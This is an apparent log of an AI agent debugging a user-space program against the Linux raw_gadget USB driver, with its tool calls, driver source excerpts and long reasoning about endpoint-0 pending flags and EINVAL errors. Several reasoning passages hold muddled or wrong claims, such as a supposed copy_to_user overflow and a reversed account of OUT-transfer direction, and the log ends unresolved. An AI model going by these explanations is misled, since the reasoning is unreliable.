drivers/usb/gadget/legacy/raw_gadget.c=579=static int raw_ioctl_run(struct raw_dev *dev, unsigned long value)
--
drivers/usb/gadget/legacy/raw_gadget.c-601- "fail, usb_gadget_register_driver returned %d\n", ret);
drivers/usb/gadget/legacy/raw_gadget.c:602: dev->state = STATE_DEV_FAILED;
drivers/usb/gadget/legacy/raw_gadget.c-603- goto out_unlock;
--
drivers/usb/gadget/legacy/raw_gadget.c=615=static int raw_ioctl_event_fetch(struct raw_dev *dev, unsigned long value)
--
drivers/usb/gadget/legacy/raw_gadget.c-645- spin_lock_irqsave(&dev->lock, flags);
drivers/usb/gadget/legacy/raw_gadget.c:646: dev->state = STATE_DEV_FAILED;
drivers/usb/gadget/legacy/raw_gadget.c-647- spin_unlock_irqrestore(&dev->lock, flags);
--
drivers/usb/gadget/legacy/raw_gadget.c=683=static int raw_process_ep0_io(struct raw_dev *dev, struct usb_raw_ep_io *io,
--
drivers/usb/gadget/legacy/raw_gadget.c-712- ret = -ENODEV;
drivers/usb/gadget/legacy/raw_gadget.c:713: dev->state = STATE_DEV_FAILED;
drivers/usb/gadget/legacy/raw_gadget.c-714- goto out_unlock;
--
drivers/usb/gadget/legacy/raw_gadget.c-717- ret = -ENODEV;
drivers/usb/gadget/legacy/raw_gadget.c:718: dev->state = STATE_DEV_FAILED;
drivers/usb/gadget/legacy/raw_gadget.c-719- goto out_unlock;
]
|
| 278/5 |
2026/09/11 23:10 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 10994
output: 32
thoughts: 14
Thoughts: **My Thought Process Regarding `raw_process_ep0_io`**
Alright, my first inclination is to dive straight into the mechanics of `raw_process_ep0_io`. I need to understand its role, its inputs, its outputs, and more importantly, its specific behavior. This isn't just a routine check; it's about dissecting a critical component and ensuring its integrity and functionality align with our overall architecture. I'm anticipating a need to trace data flow, perhaps scrutinize error handling, and confirm its adherence to established protocols. My expertise demands a thorough, granular understanding, and this function is a prime candidate for that level of scrutiny.
|
| 279/5 |
2026/09/11 23:11 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:raw_process_ep0_io]
Results: map[SourceCode: 683: static int raw_process_ep0_io(struct raw_dev *dev, struct usb_raw_ep_io *io,
684: void *data, bool in)
685: {
686: int ret = 0;
687: unsigned long flags;
688:
689: spin_lock_irqsave(&dev->lock, flags);
690: if (dev->state != STATE_DEV_RUNNING) {
691: dev_dbg(dev->dev, "fail, device is not running\n");
692: ret = -EINVAL;
693: goto out_unlock;
694: }
695: if (!dev->gadget) {
696: dev_dbg(dev->dev, "fail, gadget is not bound\n");
697: ret = -EBUSY;
698: goto out_unlock;
699: }
700: if (dev->ep0_urb_queued) {
701: dev_dbg(&dev->gadget->dev, "fail, urb already queued\n");
702: ret = -EBUSY;
703: goto out_unlock;
704: }
705: if ((in && !dev->ep0_in_pending) ||
706: (!in && !dev->ep0_out_pending)) {
707: dev_dbg(&dev->gadget->dev, "fail, wrong direction\n");
708: ret = -EBUSY;
709: goto out_unlock;
710: }
711: if (WARN_ON(in && dev->ep0_out_pending)) {
712: ret = -ENODEV;
713: dev->state = STATE_DEV_FAILED;
714: goto out_unlock;
715: }
716: if (WARN_ON(!in && dev->ep0_in_pending)) {
717: ret = -ENODEV;
718: dev->state = STATE_DEV_FAILED;
719: goto out_unlock;
720: }
721:
722: dev->req->buf = data;
723: dev->req->length = io->length;
724: dev->req->zero = usb_raw_io_flags_zero(io->flags);
725: dev->ep0_urb_queued = true;
726: spin_unlock_irqrestore(&dev->lock, flags);
727:
728: ret = usb_ep_queue(dev->gadget->ep0, dev->req, GFP_KERNEL);
729: if (ret) {
730: dev_err(&dev->gadget->dev,
731: "fail, usb_ep_queue returned %d\n", ret);
732: spin_lock_irqsave(&dev->lock, flags);
733: goto out_queue_failed;
734: }
735:
736: ret = wait_for_completion_interruptible(&dev->ep0_done);
737: if (ret) {
738: dev_dbg(&dev->gadget->dev, "wait interrupted\n");
739: usb_ep_dequeue(dev->gadget->ep0, dev->req);
740: wait_for_completion(&dev->ep0_done);
741: spin_lock_irqsave(&dev->lock, flags);
742: if (dev->ep0_status == -ECONNRESET)
743: dev->ep0_status = -EINTR;
744: goto out_interrupted;
745: }
746:
747: spin_lock_irqsave(&dev->lock, flags);
748:
749: out_interrupted:
750: ret = dev->ep0_status;
751: out_queue_failed:
752: dev->ep0_urb_queued = false;
753: out_unlock:
754: spin_unlock_irqrestore(&dev->lock, flags);
755: return ret;
756: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 280/5 |
2026/09/11 23:11 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 12233
output: 31
thoughts: 883
Thoughts: **The Curious Case of the Failing ioctl Calls**
My initial thought upon seeing the `strace` output was a gut punch: "-1 EINVAL (Invalid argument)" repeated ad nauseam, specifically from `ioctl` calls that were clearly intended to work. This suggested an infinite loop, a common symptom of a logic error or a race condition.
My first port of call was the `raw_ioctl_event_fetch` function, the apparent source of these failing calls. I immediately focused on the error handling, specifically the `if (dev->state != STATE_DEV_RUNNING)` check which returns `-EINVAL`. My mind immediately went to the obvious: either the `USB_RAW_IOCTL_RUN` call earlier in the process must have failed, or the device's state is somehow not transitioning to `STATE_DEV_RUNNING` as expected.
I quickly reviewed the `setup_gadget` function. It seemed straightforward: if `USB_RAW_IOCTL_RUN` failed, the program would `exit(1)`. So, if we're even *getting* to `raw_ioctl_event_fetch`, it implies `USB_RAW_IOCTL_RUN` *did* succeed, and thus `dev->state` *should* be `STATE_DEV_RUNNING`. This led me to question my initial assumption and dig deeper.
Then, a flicker of doubt. Could the `EINVAL` be related to the `event->length`? I re-examined `raw_ioctl_event_fetch`. I saw the `length = min(arg.length, event->length);` line and the subsequent `copy_to_user`. But no, that path doesn't seem to return `-EINVAL` for a length mismatch; it would likely manifest as a `copy_to_user` failure or a data truncation, not an invalid argument from the `ioctl` itself.
Back to the `dev->state != STATE_DEV_RUNNING` check. Is there *any* other condition within `raw_ioctl_event_fetch` that could lead to an `-EINVAL` return? A thorough re-read confirmed: no, that's the sole reason for an `EINVAL` originating directly from that check within this function.
This put me in a bit of a bind. If `USB_RAW_IOCTL_RUN` succeeded and `raw_ioctl_event_fetch` is the only place returning `EINVAL` for a non-running state, what's going on? My thoughts then shifted to external influences or earlier states that might be affecting `dev->state` *after* `USB_RAW_IOCTL_RUN` but *before* `raw_ioctl_event_fetch`.
That's when `raw_queue_event` caught my eye. I saw the potential for an `-ENOMEM` return if `raw_event_queue_add` fails. Crucially, I noticed that *if* the queue is full and `raw_event_queue_add` returns an error, `dev->state` is explicitly set to `STATE_DEV_FAILED`. This is a critical piece of information. If the event queue fills up unexpectedly, it could indeed transition the device state to a non-running state, leading to that `-EINVAL` in `raw_ioctl_event_fetch` on subsequent calls. This now feels like the most plausible path to the observed behavior. My next step is to investigate the capacity of `raw_event_queue_add` and how it's being used.
|
| 281/5 |
2026/09/11 23:11 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:raw_event_queue_add]
Results: map[SourceCode: 62: static int raw_event_queue_add(struct raw_event_queue *queue,
63: enum usb_raw_event_type type, size_t length, const void *data)
64: {
65: unsigned long flags;
66: struct usb_raw_event *event;
67:
68: spin_lock_irqsave(&queue->lock, flags);
69: if (queue->size >= RAW_EVENT_QUEUE_SIZE) {
70: spin_unlock_irqrestore(&queue->lock, flags);
71: return -ENOMEM;
72: }
73: event = kmalloc(sizeof(*event) + length, GFP_ATOMIC);
74: if (!event) {
75: spin_unlock_irqrestore(&queue->lock, flags);
76: return -ENOMEM;
77: }
78: event->type = type;
79: event->length = length;
80: if (event->length)
81: memcpy(&event->data[0], data, length);
82: queue->events[queue->size] = event;
83: queue->size++;
84: up(&queue->sema);
85: spin_unlock_irqrestore(&queue->lock, flags);
86: return 0;
87: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 282/5 |
2026/09/11 23:11 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 13537
output: 32
thoughts: 1195
Thoughts: **My Thought Process Unraveling a USB Gadget Driver Stalemate**
Okay, I need to get a handle on this potential deadlock situation in the USB gadget driver. I'm tracing the execution flow, and a few things are jumping out at me that could lead to `STATE_DEV_FAILED`.
First off, I'm looking at `raw_event_queue_add`. It returns `-ENOMEM` if the `queue->size` hits `RAW_EVENT_QUEUE_SIZE`. My immediate thought is that `RAW_EVENT_QUEUE_SIZE` is likely a small, fixed buffer. So, if the host is bombarding the gadget with events and my `gadget_thread` isn't keeping up with fetching them, this queue will fill up, and that could trigger `STATE_DEV_FAILED`.
Now, I'm reviewing my `gadget_thread`. I see a conditional block:
```c
if (event.type == USB_RAW_EVENT_CONTROL) {
// ...
}
```
This is concerning. It looks like my `gadget_thread` is *only* interested in `USB_RAW_EVENT_CONTROL` events for processing. It's completely ignoring `USB_RAW_EVENT_CONNECT` and other types. It just fetches them, but it doesn't seem to *act* on them if they aren't `USB_RAW_EVENT_CONTROL`.
Then there's this line: `ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0` returning `-EINVAL`. The documentation suggests this means the state is *already* `STATE_DEV_FAILED` or the device isn't running. The question is, *why* would it be `STATE_DEV_FAILED`?
My mind immediately goes back to `raw_process_ep0_io`. It has these critical checks:
```c
if (WARN_ON(in && dev->ep0_out_pending)) {
ret = -ENODEV;
dev->state = STATE_DEV_FAILED;
goto out_unlock;
}
if (WARN_ON(!in && dev->ep0_in_pending)) {
ret = -ENODEV;
dev->state = STATE_DEV_FAILED;
goto out_unlock;
}
```
These are the smoking guns. If `in` is true (meaning it's an IN transfer from the gadget's perspective, so an OUT transfer from the host) and `ep0_out_pending` is already set, it flags `STATE_DEV_FAILED`. The same applies to the `!in` (OUT transfer from gadget, IN from host) case with `ep0_in_pending`.
Let me dive into my C code to see where `ep0_out_pending` or `ep0_in_pending` might get set inappropriately, specifically in relation to these `RAW_EVENT_CONTROL` events I'm processing.
I'm looking at the `if (req->bRequestType & USB_DIR_IN)` block. If this is *false*, it signifies an OUT request from the host. This is where I handle `USB_REQ_SET_CONFIGURATION`.
The `USB_REQ_SET_CONFIGURATION` request is an OUT transfer. The host sends it, my `gadget_thread` gets a `USB_RAW_EVENT_CONTROL`, and then I call `USB_RAW_IOCTL_EP0_READ`. The critical question is: does `USB_RAW_IOCTL_EP0_READ` correspond to an `in = false` operation within `raw_ioctl_ep0_read`? If it does, and if `ep0_in_pending` was somehow already set before this `USB_RAW_IOCTL_EP0_READ` call, then I'd be hitting that `WARN_ON(!in && dev->ep0_in_pending)` and setting `STATE_DEV_FAILED`. This is the path I need to thoroughly investigate next to ensure I'm not causing a premature state failure.
|
| 283/5 |
2026/09/11 23:11 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:raw_ioctl_ep0_read]
Results: map[SourceCode: 772: static int raw_ioctl_ep0_read(struct raw_dev *dev, unsigned long value)
773: {
774: int ret = 0;
775: void *data;
776: struct usb_raw_ep_io io;
777: unsigned int length;
778:
779: data = raw_alloc_io_data(&io, (void __user *)value, false);
780: if (IS_ERR(data))
781: return PTR_ERR(data);
782: ret = raw_process_ep0_io(dev, &io, data, false);
783: if (ret < 0)
784: goto free;
785:
786: length = min_t(unsigned int, io.length, ret);
787: if (copy_to_user((void __user *)(value + sizeof(io)), data, length))
788: ret = -EFAULT;
789: else
790: ret = length;
791: free:
792: kfree(data);
793: return ret;
794: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 284/5 |
2026/09/11 23:12 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 15115
output: 29
thoughts: 769
Thoughts: **My Thought Process on USB Raw Ioctl Handling**
Okay, let's trace through this. My initial thought was about the directionality of the `raw_process_ep0_io` function. I noted that `raw_process_ep0_io` is called with `in = false` for reads, and `raw_ioctl_ep0_write` is called with `in = true` for writes. This led me to believe that `USB_RAW_IOCTL_EP0_READ` was the correct identifier for OUT requests, as an OUT request conceptually involves the host sending data *to* the device, which is a "read" from the device's perspective in this context.
Then, I started considering edge cases, specifically what happens when `req->wLength` is zero. I recalled that `USB_REQ_SET_CONFIGURATION` is a prime example where `wLength` is indeed zero. If `wLength` is zero, it means `io.length` will also be zero. My reasoning was that `raw_process_ep0_io` should then correctly queue a zero-length request for this scenario. A zero-length OUT request, from the device's perspective, is still a request that needs to be acknowledged, so queuing a zero-length read makes sense.
However, this is where the feedback from the strace output really threw me. I saw that the program was getting stuck in an infinite loop of failing `ioctl` calls, specifically `ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)`. This `EINVAL` indicated a fundamental problem with the arguments passed to the `ioctl`.
My focus shifted to `raw_ioctl_event_fetch`. I looked at the `copy_from_user` call within it:
```c
if (copy_from_user(&arg, (void __user *)value, sizeof(arg)))
return -EFAULT;
```
I realized that if `arg.length` wasn't properly initialized on the user space side, it could contain garbage.
Then I examined my own C code where I was setting up the `struct usb_raw_event`:
```c
struct usb_raw_event event;
event.type = 0;
event.length = sizeof(event.data);
```
Here's where the critical realization hit. `sizeof(event.data)` is 64. But looking at the `struct usb_raw_event` definition:
```c
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[64];
};
```
I questioned if `event.length` was *supposed* to be the size of the `data` array.
Re-examining `raw_ioctl_event_fetch` again, specifically this part:
```c
length = min(arg.length, event->length);
if (copy_to_user((void __user *)value, event, sizeof(*event) + length)) {
```
This line is where the overflow is happening! `sizeof(*event)` is `sizeof(struct usb_raw_event)`, which is 72 bytes. If `arg.length` (which I was setting to 64) is passed as the `length` parameter here, `copy_to_user` is attempting to copy `72 + 64 = 136` bytes.
But the user buffer (`value`) is only allocated to hold `sizeof(struct usb_raw_event)`, which is 72 bytes! So, `copy_to_user` is trying to write 136 bytes into a 72-byte buffer, causing the overflow and likely the `EINVAL` because the kernel sees an invalid destination size relative to the data being copied.
The crucial piece I missed was in `raw_event_queue_add`:
```c
event = kmalloc(sizeof(*event) + length, GFP_ATOMIC);
```
This is where the kernel is allocating memory for the event *including* the actual data payload. The `length` here corresponds to the actual amount of data that was read from the device or prepared to be sent, *not* the fixed size of the `data` array within the struct. My mistake was conflating the fixed `data` buffer size with the variable `length` that represents the actual transferred data size. This led to the incorrect assumption that `event.length` should always be 64, which then cascaded into the `copy_to_user` overflow.
|
| 285/5 |
2026/09/11 23:12 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:usb_raw_event]
Results: map[SourceCode: 60: /*
61: * struct usb_raw_event - argument for USB_RAW_IOCTL_EVENT_FETCH ioctl.
62: * @type: The type of the fetched event.
63: * @length: Length of the data buffer. Updated by the driver and set to the
64: * actual length of the fetched event data.
65: * @data: A buffer to store the fetched event data.
66: *
67: * The fetched event data buffer contains struct usb_ctrlrequest for
68: * USB_RAW_EVENT_CONTROL and is empty for other events.
69: */
70: struct usb_raw_event {
71: __u32 type;
72: __u32 length;
73: __u8 data[];
74: };
SourceFile:include/uapi/linux/usb/raw_gadget.h]
|
| 286/5 |
2026/09/11 23:12 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 16155
output: 53
thoughts: 1533
Thoughts: **My Thought Process Unraveled: Debugging a USB Raw Gadget Issue**
I've been diving deep into this USB raw gadget implementation, and a persistent `-EINVAL` return code from `raw_ioctl_event_fetch` has been a real headache. My initial thought process was to meticulously trace the data flow and size expectations between my user-space C code and the kernel.
First, I noticed the discrepancy in how `struct usb_raw_event` is defined. In the kernel, the `data` member is a flexible array member (`__u8 data[];`), meaning its size isn't fixed at compile time for the structure definition itself. This leads to `sizeof(struct usb_raw_event)` in the kernel being just the size of `type` and `length` – a mere 8 bytes. However, in my user-space C code, I declared it with a fixed-size array: `__u8 data[64];`. Consequently, `sizeof(struct usb_raw_event)` in my C code comes out to 72 bytes (4 for `type`, 4 for `length`, and 64 for `data`).
This size difference is critical when `copy_from_user` is called within `raw_ioctl_event_fetch`. The kernel, expecting an 8-byte structure, only copies 8 bytes from the user-provided buffer. This means only the `type` and `length` fields from my user-space `arg` structure are populated in the kernel's `arg` variable. The `data` portion is effectively ignored by this initial `copy_from_user`.
The subsequent logic in `raw_ioctl_event_fetch` involves a spin lock and a state check: `if (dev->state != STATE_DEV_RUNNING)`. If this condition is met, it returns `-EINVAL`. Given that the `copy_from_user` only fetched 8 bytes and the `data` field wasn't used at this stage, it became clear that the `-EINVAL` *must* be due to the device's state not being `STATE_DEV_RUNNING`.
This led me to investigate why the device state would deviate from `STATE_DEV_RUNNING`. I started examining the code paths that could transition the device state. I found two key areas:
1. **`raw_process_ep0_io`**: Here, I observed that if there's a mismatch in pending EP0 operations (e.g., `in` but `dev->ep0_out_pending` is true, or `!in` but `dev->ep0_in_pending` is true), the `ret` is set to `-ENODEV`, and importantly, `dev->state` is set to `STATE_DEV_FAILED`. This is a direct route to the `-EINVAL` I was seeing.
2. **`raw_queue_event`**: This function handles adding events to a queue. If `raw_event_queue_add` returns an error (meaning the event queue is full, indicated by `< 0`), it frees the event, prints an error, and then sets `dev->state` to `STATE_DEV_FAILED`. This is another potential cause for the device being in a non-running state.
The question then became: what triggers these state changes? I delved deeper into the `raw_process_ep0_io` and `raw_queue_event` functions.
Regarding `raw_queue_event` and a full event queue, my immediate suspicion is that my gadget thread might not be consuming events fast enough, or it's getting blocked. This led me to examine my `gadget_thread` logic. I noticed that if an event's `type` is *not* `USB_RAW_EVENT_CONTROL`, the loop simply fetches the next event. This seems reasonable, but it also made me consider what happens if the `ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event)` call itself fails.
Then, the core of the problem seemed to hinge on `raw_process_ep0_io` blocking. Specifically, the call to `wait_for_completion_interruptible(&dev->ep0_done);` caught my attention. If `USB_RAW_IOCTL_EP0_WRITE` or `USB_RAW_IOCTL_EP0_READ` blocks, my gadget thread gets stuck there. If the host continues to send control requests while my gadget thread is blocked, it could lead to a backlog of events, potentially filling the event queue and thus causing `STATE_DEV_FAILED`.
The specific scenario that became particularly perplexing was related to `USB_REQ_SET_CONFIGURATION`. I know this is a standard control request with a zero-length data stage (`wLength` is 0). When my user-space code encounters this, it calls `USB_RAW_IOCTL_EP0_READ` with `io.length = 0`. In `raw_process_ep0_io`, this translates to queuing a 0-length request.
My understanding of USB control transfers dictates that for an OUT request with no data stage (like `SET_CONFIGURATION`), the device must respond with a 0-length IN packet during the status phase. To send an IN packet, I should be using `USB_RAW_IOCTL_EP0_WRITE` with `io.length = 0`. The fact that I'm using `USB_RAW_IOCTL_EP0_READ` for this scenario, and that this call might block indefinitely if the host doesn't "send" (or rather, acknowledge the completion of) the zero-length data stage, is where I suspect the root cause of the blocking lies. This blocking, as established, can indirectly lead to the event queue filling up and transitioning the device state to `STATE_DEV_FAILED`, ultimately resulting in the `-EINVAL` from `raw_ioctl_event_fetch`. I need to re-evaluate how `SET_CONFIGURATION` and other zero-length OUT requests are handled to ensure the correct endpoint operation (`EP0_READ` vs. `EP0_WRITE`) is used to complete the transaction properly and avoid blocking.
|
| 287/5 |
2026/09/11 23:12 |
tool |
codesearch-find-references |
0m
Error:
Args: map[ContextFile: IncludeSnippetLines:10 Name:USB_RAW_IOCTL_EP0_WRITE SourceTreePrefix:tools/usb/]
Results: map[References:<nil> TruncatedOutput:false]
|
| 288/5 |
2026/09/11 23:12 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 17740
output: 33
thoughts: 36
Thoughts: **My Thought Process for Locating USB_RAW_IOCTL_EP0_WRITE**
Alright, so my objective is to find the specific ioctl call, `USB_RAW_IOCTL_EP0_WRITE`, within the codebase. Given my familiarity with how USB-related functionalities and testing mechanisms are typically organized, my initial instinct is to focus my search on directories that are likely to contain such low-level USB operations or the tests designed to exercise them.
Therefore, I'll be performing targeted searches within two primary locations:
1. **`tools/usb/`**: This directory is a strong candidate. It's a common convention to house user-space utilities, libraries, and low-level tools related to USB device interaction here. It's highly probable that raw USB I/O operations, including specific control endpoint (EP0) commands like `USB_RAW_IOCTL_EP0_WRITE`, would be defined or utilized within this subtree.
2. **`tools/testing/selftests/`**: This directory is equally important. Self-tests are designed to validate the functionality of kernel drivers and user-space interfaces. If `USB_RAW_IOCTL_EP0_WRITE` is a critical component for USB device control or interaction, it's almost certain that there will be tests written to confirm its proper operation. These tests would likely be located within the USB-specific subdirectories of `selftests`.
By searching these two areas, I'm aiming to efficiently pinpoint the source code that defines or uses `USB_RAW_IOCTL_EP0_WRITE`, whether it's in a library function or a test case. This targeted approach is more effective than a broad, system-wide search, especially in a large codebase.
|
| 289/5 |
2026/09/11 23:12 |
tool |
grepper |
0m
Error:
Args: map[Expression:USB_RAW_IOCTL_EP0_WRITE PathPrefix:tools/]
Results:
|
| 290/5 |
2026/09/11 23:12 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 17807
output: 27
thoughts: 239
Thoughts: **A Deep Dive into Endpoint 0 Pending States**
I've been poring over the `raw_process_ep0_io` function, specifically this block here:
```c
if ((in && !dev->ep0_in_pending) ||
(!in && !dev->ep0_out_pending)) {
dev_dbg(&dev->gadget->dev, "fail, wrong direction\n");
ret = -EBUSY;
goto out_unlock;
}
if (WARN_ON(in && dev->ep0_out_pending)) {
ret = -ENODEV;
dev->state = STATE_DEV_FAILED;
goto out_unlock;
}
if (WARN_ON(!in && dev->ep0_in_pending)) {
ret = -ENODEV;
dev->state = STATE_DEV_FAILED;
goto out_unlock;
}
```
My immediate thought process is to scrutinize the conditions under which `ret` might be set to `-EBUSY` or `-ENODEV` and the device state transitioned to `STATE_DEV_FAILED`. This logic hinges entirely on the state of `dev->ep0_in_pending` and `dev->ep0_out_pending`.
The critical question that arises from this code snippet is: what exactly triggers these `_pending` flags? My understanding, or rather, my hypothesis that I need to verify, is that these flags are directly tied to the reception of a USB setup packet. If this is indeed the case, then the behavior observed in `raw_process_ep0_io` makes sense: it's ensuring that I/O operations are aligned with the expected direction based on the pending setup transaction. An unexpected direction, or a pending flag being set when it shouldn't be (and vice-versa), indicates a fundamental protocol violation or a state machine desynchronization, hence the `STATE_DEV_FAILED` transition.
To confirm this, my next step is to trace back where `dev->ep0_in_pending` and `dev->ep0_out_pending` are actually set. I need to find the origin of these state variables to solidify my understanding of the setup packet handling and its implications on subsequent I/O operations on endpoint 0.
|
| 291/5 |
2026/09/11 23:13 |
tool |
codesearch-definition-source |
0m
Error:
Args: map[ContextFile: Name:raw_setup]
Results: map[SourceCode: SourceFile:]
|
| 292/5 |
2026/09/11 23:13 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 18078
output: 41
thoughts: 31
Thoughts: **My Thought Process on Debugging the `ep0_in_pending` Issue**
Alright, so I'm deep in the weeds here, trying to untangle this USB gadget driver issue. My current focus is specifically on the `ep0_in_pending` flag within `drivers/usb/gadget/legacy/raw_gadget.c`. I've decided this is the most logical place to start my investigation because I suspect this flag is at the heart of whatever is going wrong with endpoint 0's IN transfers.
My hypothesis is that the state of `ep0_in_pending` is not being managed correctly. It's likely either:
1. **Being set when it shouldn't be:** This could lead to the driver prematurely thinking there's data to send on the IN endpoint when there isn't, or perhaps waiting for a condition that will never be met.
2. **Not being cleared when it should be:** Conversely, if this flag remains set after a transfer is completed, or after an event that should have cleared it, it could block subsequent IN transfers or cause unexpected behavior.
3. **Being set/cleared under the wrong conditions:** The logic governing when this flag is toggled might be flawed, reacting to events that aren't directly related to the actual IN data transfer status on endpoint 0, or missing critical events that *should* trigger a state change.
By diving into `raw_gadget.c` and specifically scrutinizing the code that manipulates `ep0_in_pending`, I'm looking for patterns. I need to trace the lifecycle of this flag: where is it initialized, what conditions cause it to be set, and crucially, what conditions are supposed to lead to its being cleared? I'll be paying close attention to any interrupt handlers, completion routines, and state-change logic associated with endpoint 0. My goal is to identify any race conditions, incorrect assumptions, or missed edge cases in how this flag is managed, as I believe this is a critical piece of the puzzle in understanding and resolving the current USB gadget behavior.
|
| 293/5 |
2026/09/11 23:13 |
tool |
grepper |
0m
Args: map[Expression:ep0_in_pending PathPrefix:drivers/usb/gadget/legacy/raw_gadget.c]
Results: map[Output:drivers/usb/gadget/legacy/raw_gadget.c=160=struct raw_dev {
--
drivers/usb/gadget/legacy/raw_gadget.c-177- struct usb_request *req;
drivers/usb/gadget/legacy/raw_gadget.c:178: bool ep0_in_pending;
drivers/usb/gadget/legacy/raw_gadget.c-179- bool ep0_out_pending;
--
drivers/usb/gadget/legacy/raw_gadget.c=249=static void gadget_ep0_complete(struct usb_ep *ep, struct usb_request *req)
--
drivers/usb/gadget/legacy/raw_gadget.c-258- dev->ep0_status = req->actual;
drivers/usb/gadget/legacy/raw_gadget.c:259: if (dev->ep0_in_pending)
drivers/usb/gadget/legacy/raw_gadget.c:260: dev->ep0_in_pending = false;
drivers/usb/gadget/legacy/raw_gadget.c-261- else
--
drivers/usb/gadget/legacy/raw_gadget.c=337=static int gadget_setup(struct usb_gadget *gadget,
--
drivers/usb/gadget/legacy/raw_gadget.c-349- }
drivers/usb/gadget/legacy/raw_gadget.c:350: if (dev->ep0_in_pending || dev->ep0_out_pending) {
drivers/usb/gadget/legacy/raw_gadget.c-351- dev_dbg(&gadget->dev, "stalling, request already pending\n");
--
drivers/usb/gadget/legacy/raw_gadget.c-355- if ((ctrl->bRequestType & USB_DIR_IN) && ctrl->wLength)
drivers/usb/gadget/legacy/raw_gadget.c:356: dev->ep0_in_pending = true;
drivers/usb/gadget/legacy/raw_gadget.c-357- else
--
drivers/usb/gadget/legacy/raw_gadget.c=683=static int raw_process_ep0_io(struct raw_dev *dev, struct usb_raw_ep_io *io,
--
drivers/usb/gadget/legacy/raw_gadget.c-704- }
drivers/usb/gadget/legacy/raw_gadget.c:705: if ((in && !dev->ep0_in_pending) ||
drivers/usb/gadget/legacy/raw_gadget.c-706- (!in && !dev->ep0_out_pending)) {
--
drivers/usb/gadget/legacy/raw_gadget.c-715- }
drivers/usb/gadget/legacy/raw_gadget.c:716: if (WARN_ON(!in && dev->ep0_in_pending)) {
drivers/usb/gadget/legacy/raw_gadget.c-717- ret = -ENODEV;
--
drivers/usb/gadget/legacy/raw_gadget.c=796=static int raw_ioctl_ep0_stall(struct raw_dev *dev, unsigned long value)
--
drivers/usb/gadget/legacy/raw_gadget.c-818- }
drivers/usb/gadget/legacy/raw_gadget.c:819: if (!dev->ep0_in_pending && !dev->ep0_out_pending) {
drivers/usb/gadget/legacy/raw_gadget.c-820- dev_dbg(&dev->gadget->dev, "fail, no request pending\n");
--
drivers/usb/gadget/legacy/raw_gadget.c-829-
drivers/usb/gadget/legacy/raw_gadget.c:830: if (dev->ep0_in_pending)
drivers/usb/gadget/legacy/raw_gadget.c:831: dev->ep0_in_pending = false;
drivers/usb/gadget/legacy/raw_gadget.c-832- else
]
|
| 294/5 |
2026/09/11 23:13 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 19195
output: 28
thoughts: 1785
Thoughts: **My Thought Process Unraveling the USB Gadget Driver Behavior**
Okay, let's break down this situation. I'm looking at the `gadget_setup` function, and it's setting flags `ep0_in_pending` or `ep0_out_pending` based on the direction (`bRequestType & USB_DIR_IN`) and the length (`wLength`). Specifically, if it's an IN request *and* has a non-zero length, `ep0_in_pending` is set. Otherwise, `ep0_out_pending` is set.
Now, I recall that `USB_REQ_SET_CONFIGURATION` is an OUT request, meaning `bRequestType & USB_DIR_IN` is false. According to the logic in `gadget_setup`, this will set `ep0_out_pending` to `true`.
This is a crucial point because `raw_process_ep0_io` expects a specific direction based on these pending flags. When `ep0_out_pending` is true, it's expecting an IN transfer (or more accurately, it's expecting the host to *read* data from the device, which corresponds to `USB_RAW_IOCTL_EP0_READ` in the `raw-gadget` context). If I mistakenly try to send data *to* the device using `USB_RAW_IOCTL_EP0_WRITE` (which implies an IN transfer from the host's perspective, i.e., the device is *writing* to the host), the `WARN_ON(in && dev->ep0_out_pending)` condition will trigger. This is exactly the problem the previous feedback highlighted: a mismatch between the expected direction for `USB_REQ_SET_CONFIGURATION` and the actual I/O operation performed. So, my initial fix to use `USB_RAW_IOCTL_EP0_READ` for `USB_REQ_SET_CONFIGURATION` was indeed correct to avoid this specific warning.
However, the issue then shifted to a timeout, with `USB_RAW_IOCTL_EVENT_FETCH` returning `-EINVAL`. I'm digging into `raw_ioctl_event_fetch` to understand why. The code shows that if `dev->state` is not `STATE_DEV_RUNNING`, it returns `-EINVAL`. So, the core question becomes: why isn't the device in the `STATE_DEV_RUNNING` state?
Could `USB_RAW_IOCTL_RUN` have failed? I doubt it, because if it had, the program would have exited immediately due to the `exit(1)` call after checking its return value.
What if `raw_process_ep0_io` returned `-ENODEV` and consequently set `STATE_DEV_FAILED`? I need to check if there are other scenarios that could lead to this. Let's re-examine the `gadget_thread` code for handling different requests.
When handling an OUT request or a zero-length request (the `else` block for `req->bRequestType & USB_DIR_IN`), I'm calling `ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io)` for requests other than `USB_REQ_SET_CONFIGURATION`. This seems correct.
But then I had a thought: what about IN requests where `wLength` is zero? The `gadget_setup` logic says that if `bRequestType & USB_DIR_IN` is true, *but* `wLength` is zero, it sets `ep0_out_pending` to true. This would then lead to the same `WARN_ON` situation if I were to call `USB_RAW_IOCTL_EP0_WRITE` because `req->bRequestType & USB_DIR_IN` is true. Are there any IN requests with a zero length? Typically, no, but it's worth considering.
Wait, what about `USB_REQ_SET_ADDRESS`? This is an OUT request (`bRequestType = 0x00`) with a zero length (`wLength = 0`). My current `gadget_thread` code correctly handles this within the "OUT request or zero-length" branch by calling `USB_RAW_IOCTL_EP0_READ`.
Okay, so if `USB_RAW_IOCTL_EP0_READ` itself fails for some reason, does that cause the state to become `STATE_DEV_FAILED`? I don't see any explicit state setting to `STATE_DEV_FAILED` directly from an `EP0_READ` failure.
